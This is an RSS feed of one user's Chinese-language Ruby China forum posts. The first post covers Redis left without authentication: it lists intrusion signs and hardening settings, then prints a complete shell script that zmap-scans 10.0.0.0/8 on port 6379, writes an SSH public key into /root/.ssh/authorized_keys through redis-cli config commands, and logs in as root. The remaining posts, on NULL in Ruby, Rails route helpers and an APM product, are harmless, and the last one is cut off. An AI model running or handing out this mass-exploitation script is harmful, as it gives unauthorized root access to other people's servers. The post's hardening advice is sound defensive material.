<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>qingxp9 (yyf)</title>
    <link>https://ruby-china.org/qingxp9</link>
    <description></description>
    <language>en-us</language>
    <item>
      <title>请务必注意 Redis 安全配置，否则将导致轻松被入侵</title>
      <description>&lt;h2 id="改了下标题，不吸引人都没人看"&gt;改了下标题，不吸引人都没人看&lt;/h2&gt;&lt;h3 id="一、前言"&gt;一、前言&lt;/h3&gt;
&lt;p&gt;前段时间，在做内网影响程度评估的时候写了扫描利用小脚本，
扫描后统计发现，内网中 60% 开放了 redis6379 端口的主机处于可以被利用的危险状态，因为都是一些默认配置造成的
考虑到本社区大部分开发者都会使用 redis，特此分享下以便大家可以对自己公司的内网进行一个排查。&lt;/p&gt;
&lt;h3 id="二、漏洞介绍"&gt;二、漏洞介绍&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;入侵特征：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Redis 可能执行过 FLUSHALL 方法，整个 Redis 数据库被清空&lt;/li&gt;
&lt;li&gt;在 Redis 数据库中新建了一个名为 crackit（网上流传的命令指令）的键值对，内容为一个 SSH 公钥。&lt;/li&gt;
&lt;li&gt;在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件，内容为 Redis 生成的 db 文件，包含上述公钥&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="三、修复建议"&gt;三、修复建议&lt;/h3&gt;&lt;h4 id="1.禁止一些高危命令"&gt;1.禁止一些高危命令&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rename-command FLUSHALL &lt;span class="s2"&gt;""&lt;/span&gt;
rename-command CONFIG   &lt;span class="s2"&gt;""&lt;/span&gt;
rename-command EVAL     &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来禁用远程修改 DB 文件地址&lt;/p&gt;
&lt;h4 id="2.以低权限运行 Redis 服务"&gt;2.以低权限运行 Redis 服务&lt;/h4&gt;
&lt;p&gt;为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆&lt;/p&gt;
&lt;h4 id="3.为 Redis 添加密码验证"&gt;3.为 Redis 添加密码验证&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;requirepass mypassword
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4.禁止外网访问 Redis"&gt;4.禁止外网访问 Redis&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加或修改&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;bind &lt;/span&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使得 Redis 服务只在当前主机可用&lt;/p&gt;
&lt;h3 id="四、扫描工具"&gt;四、扫描工具&lt;/h3&gt;&lt;h4 id="1 使用说明"&gt;1 使用说明&lt;/h4&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#以Ubuntu为例&lt;/span&gt;
su

&lt;span class="c"&gt;# Requirements&lt;/span&gt;
apt-get &lt;span class="nb"&gt;install &lt;/span&gt;redis-server expect zmap

git clone https://github.com/qingxp9/yyfexploit
&lt;span class="nb"&gt;cd &lt;/span&gt;yyfexploit/redis

&lt;span class="c"&gt;# 扫描6379端口&lt;/span&gt;
&lt;span class="c"&gt;# 如果你要扫内网，把/etc/zmap/zmap.conf中blacklist-file这一行注释掉&lt;/span&gt;
zmap &lt;span class="nt"&gt;-p&lt;/span&gt; 6379 10.0.0.0/8 &lt;span class="nt"&gt;-B&lt;/span&gt; 10M &lt;span class="nt"&gt;-o&lt;/span&gt; ip.txt

&lt;span class="c"&gt;# Usage&lt;/span&gt;
./redis.sh ip.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，将会生成几个 txt 文件记录结果
其中：
runasroot.txt   表示 redis 无认证，且以 root 运行
noauth.txt        表示 redis 无认证，但以普通用户运行
rootshell.txt   已写入公钥，可直接以证书登录 root 用户&lt;/p&gt;

&lt;p&gt;像这样：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ssh -i id_rsa root@x.x.x.x&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="2 工具源代码"&gt;2 工具源代码&lt;/h4&gt;
&lt;p&gt;就贴下代码吧，各位大牛请在家长陪同下观看&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$# &lt;/span&gt;&lt;span class="nt"&gt;-eq&lt;/span&gt; 1  &lt;span class="o"&gt;]&lt;/span&gt;
 &lt;span class="k"&gt;then
   &lt;/span&gt;&lt;span class="nv"&gt;ip_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;

   &lt;span class="c"&gt;##create id_rsa&lt;/span&gt;
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"****************************************Create id_rsa file"&lt;/span&gt;

   expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
     spawn ssh-keygen -t rsa -f id_rsa -C &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*passphrase): &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"\r\"&lt;/span&gt;&lt;span class="s2"&gt;
             exp_continue
         }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*again: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"\r\"&lt;/span&gt;&lt;span class="s2"&gt;
         }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*y/n)? &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;n&lt;/span&gt;&lt;span class="se"&gt;\r\"&lt;/span&gt;&lt;span class="s2"&gt;
         }
     }
     expect eof
   "&lt;/span&gt;

   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;****************************************Attack Targets"&lt;/span&gt;
   &lt;span class="nb"&gt;touch &lt;/span&gt;noauth.txt runasroot.txt rootshell.txt haveauth.txt
   &lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
   &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$ip_list&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;ip
   &lt;span class="k"&gt;do
     &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;expr&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; + 1&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="c"&gt;#write id_rsa.pub to remote&lt;/span&gt;
     &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"*****&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;***connect to remote &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; redis "&lt;/span&gt;

     expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
       set timeout 3
       spawn redis-cli -h &lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; config set dir /root/.ssh/
       expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;OK&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;                        { exit 0 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;ERR Changing directory: Permission denied&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 1 }
         timeout                       { exit 2 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;(error) NOAUTH Authentication required&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 3 }
       }
     "&lt;/span&gt;

     &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="k"&gt;in
         &lt;/span&gt;0&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"run redis as root"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; noauth.txt
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; runasroot.txt
         &lt;span class="p"&gt;;;&lt;/span&gt;
         1&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"not run redis as root&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; noauth.txt
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
         2&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"connect timeout&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
         3&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Have Auth&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; haveauth.txt
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
     &lt;span class="k"&gt;esac&lt;/span&gt;

     &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;cat &lt;/span&gt;id_rsa.pub&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; foo.txt
     &lt;span class="nb"&gt;cat &lt;/span&gt;foo.txt | redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;1
     redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; config &lt;span class="nb"&gt;set dir&lt;/span&gt; /root/.ssh/
     redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; config &lt;span class="nb"&gt;set &lt;/span&gt;dbfilename &lt;span class="s2"&gt;"authorized_keys"&lt;/span&gt;
     redis-cli save

     &lt;span class="c"&gt;#login test&lt;/span&gt;
     &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"#try to login"&lt;/span&gt;
     expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
       set timeout 5
       spawn ssh -i id_rsa root@&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; echo &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
       expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*yes/no&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;     { send &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yes&lt;/span&gt;&lt;span class="se"&gt;\n\"&lt;/span&gt;&lt;span class="s2"&gt;}

         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;   { send &lt;/span&gt;&lt;span class="se"&gt;\"\0&lt;/span&gt;&lt;span class="s2"&gt;03&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;; exit 1 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 0 }
         timeout         { exit 2 }
       }
       exit 4
     "&lt;/span&gt;

     &lt;span class="nv"&gt;exitcode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;

     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$exitcode&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;
     &lt;span class="k"&gt;then
       &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"---------------&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; is get root shell"&lt;/span&gt;
       &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; rootshell.txt
     &lt;span class="k"&gt;fi

     &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="k"&gt;done

   &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"##########Final Count##########"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nv"&gt;$ip_list&lt;/span&gt;
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"----------"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; noauth.txt
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; runasroot.txt
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; rootshell.txt
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"----------"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; haveauth.txt

 &lt;span class="k"&gt;else
   &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"usage: ./redis.sh ip.txt"&lt;/span&gt;
 &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="五、相关参考"&gt;五、相关参考&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://zone.wooyun.org/content/23858" rel="nofollow" target="_blank"&gt;http://zone.wooyun.org/content/23858&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.islandzero.net/2015/11/11/redis-crackit/" rel="nofollow" target="_blank"&gt;https://blog.islandzero.net/2015/11/11/redis-crackit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/" rel="nofollow" target="_blank"&gt;http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;p&gt;如果代码有写得不合理的地方，还望指出哈&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Wed, 18 Nov 2015 00:59:26 +0800</pubDate>
      <link>https://ruby-china.org/topics/28094</link>
      <guid>https://ruby-china.org/topics/28094</guid>
    </item>
    <item>
      <title>如何看待 Ruby 中的 “NULL”</title>
      <description>&lt;p&gt;偶然看到一篇文章：&lt;a href="https://linux.cn/article-6503-1.html" rel="nofollow" target="_blank" title=""&gt;《“NULL”：计算机科学中的最严重错误，造成十亿美元损失》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;主要内容是说明 NULL 是计算机科学中最糟糕的错误，并引用了图灵奖得主 Tony Hoare 的话&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“我把 Null 引用称为自己的十亿美元错误。它的发明是在 1965 年，那时我用一个面向对象语言 ( ALGOL W ) 设计了第一个全面的引用类型系统。我的目的是确保所有引用的使用都是绝对安全的，编译器会自动进行检查。但是我未能抵御住诱惑，加入了 Null 引用，仅仅是因为实现起来非常容易。它导致了数不清的错误、漏洞和系统崩溃，可能在之后 40 年中造成了十亿美元的损失。近年来，大家开始使用各种程序分析程序，比如微软的 PREfix 和 PREfast 来检查引用，如果存在为非 Null 的风险时就提出警告。更新的程序设计语言比如 Spec# 已经引入了非 Null 引用的声明。这正是我在 1965 年拒绝的解决方案。” 
《Null References: The Billion Dollar Mistake》托尼·霍尔（Tony Hoare）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;文章通过这几个观点逐步进行了阐述：&lt;/p&gt;

&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;颠覆类型&lt;/li&gt;
&lt;li&gt;是凌乱的&lt;/li&gt;
&lt;li&gt;是一个特例&lt;/li&gt;
&lt;li&gt;使 API 变得糟糕&lt;/li&gt;
&lt;li&gt;使错误的语言决策更加恶化&lt;/li&gt;
&lt;li&gt;难以调试&lt;/li&gt;
&lt;li&gt;是不可组合的&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;其中”API 变得糟糕“以 Ruby 举了个例子，&lt;/p&gt;
&lt;h2 id="以下原文引用："&gt;以下原文引用：&lt;/h2&gt;
&lt;p&gt;假设我们创建一个 Ruby 类充当一个键值存储。这可能是一个缓存、一个用于键值数据库的接口等等。我们将会创建简单通用的 API：&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Store&lt;/span&gt;
         &lt;span class="c1"&gt;# associate key with value&lt;/span&gt;
         &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="o"&gt;...&lt;/span&gt;
         &lt;span class="k"&gt;end&lt;/span&gt;

         &lt;span class="c1"&gt;# get value associated with key, or return nil if there is no sch key&lt;/span&gt;
         &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="o"&gt;...&lt;/span&gt;
         &lt;span class="k"&gt;end&lt;/span&gt; 
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以想象在很多语言中类似的类（Python、JavaScript、Java、C# 等）。
现在假设我们的程序有一个慢的或者占用大量资源的方法，来找到某个人的电话号码——可能通过连通一个网络服务。&lt;/p&gt;

&lt;p&gt;为了提高性能，我们将会使用本地存储作为缓存，将一个人名映射到他的电话号码上。&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Bob'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'801-555-5555'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Bob'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# returns '801-555-5555', which is Bob’s number&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Alice'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# returns nil, since it does not have Alice&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然而，一些人没有电话号码（即他们的电话号码是 nil）。我们仍然会缓存那些信息，所以我们不需要在后面重新填充那些信息。&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Ted'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Ted has no phone number&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Ted'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# returns nil, since Ted does not have a phone number&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是现在意味着我们的结果模棱两可！它可能表示：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;这个人不存在于缓存中（Alice） &lt;/li&gt;
&lt;li&gt;这个人存在于缓存中，但是没有电话号码（Tom）&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;一种情形要求昂贵的重新计算，另一种需要即时的答复。但是我们的代码不够精密来区分这两种情况。
在实际的代码中，像这样的情况经常会以复杂且不易察觉的方式出现。因此，简单通用的 API 可以马上变成特例，迷惑了 null 凌乱行为的来源。
用一个 contains() 方法来修补 Store 类可能会有帮助。但是这引入重复的查找，导致降低性能和竞争条件。&lt;/p&gt;
&lt;h2 id="（引用完）"&gt;（引用完）&lt;/h2&gt;
&lt;p&gt;大家如何看待这个问题&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Sun, 01 Nov 2015 20:10:52 +0800</pubDate>
      <link>https://ruby-china.org/topics/27915</link>
      <guid>https://ruby-china.org/topics/27915</guid>
    </item>
    <item>
      <title>在 Model  中使用 routes helper</title>
      <description>&lt;p&gt;在 View 中我们可以调用 routes 的帮助方法得到路径地址
比如下面代码的 search_path&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;%= form_tag search_path , method: 'get'  do %&amp;gt; 
---
&amp;lt;%= end %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想在 Model 中使用这个 helper 该怎么做呢？&lt;/p&gt;

&lt;p&gt;中文网页中果然搜不到，终于还是在 stackoverflow 上找到了答案
整理摘录如下：&lt;/p&gt;

&lt;p&gt;在 Rails 3 和 4 中调用&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rails.application.routes.url_helpers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rails.application.routes.url_helpers.posts_path
Rails.application.routes.url_helpers.posts_url(:host =&amp;gt; "example.com")
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为方便使用我们可以直接 include 这个模块&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rails.application.routes.url_helpers&amp;nbsp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过相比于 include 整个模块，更推荐 delegate&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;delegate :url_helpers, to: 'Rails.application.routes' 
url_helpers.users_url =&amp;gt; 'www.foo.com/users'
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;

&lt;p&gt;&lt;a href="http://stackoverflow.com/questions/341143/can-rails-routing-helpers-i-e-mymodel-pathmodel-be-used-in-models" rel="nofollow" target="_blank"&gt;http://stackoverflow.com/questions/341143/can-rails-routing-helpers-i-e-mymodel-pathmodel-be-used-in-models&lt;/a&gt;&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Thu, 29 Oct 2015 14:40:52 +0800</pubDate>
      <link>https://ruby-china.org/topics/27885</link>
      <guid>https://ruby-china.org/topics/27885</guid>
    </item>
    <item>
      <title>OneAPM 简单体验及建议</title>
      <description>&lt;p&gt;看到 oneapm 在论坛里的推广活动，在最近一个项目中也的确遇到了一些需要可视化的查看性能的工具，
之前并没有相关的性能监控工具的使用经验，而这个活动的奖品还挺丰盛的，所以试用一下。&lt;/p&gt;
&lt;h2 id="部署"&gt;部署&lt;/h2&gt;
&lt;p&gt;部署比较简单，在 config 中 wget 一个 oneapm.yml 文件，填入 key，再添加 gem 重启一下服务器就好了。
&lt;img src="https://l.ruby-china.com/photo/2015/1e0160faaa4ba603a2be0a694f3768e3.png" title="" alt=""&gt;&lt;/p&gt;
&lt;h2 id="后台监控页面"&gt;后台监控页面&lt;/h2&gt;
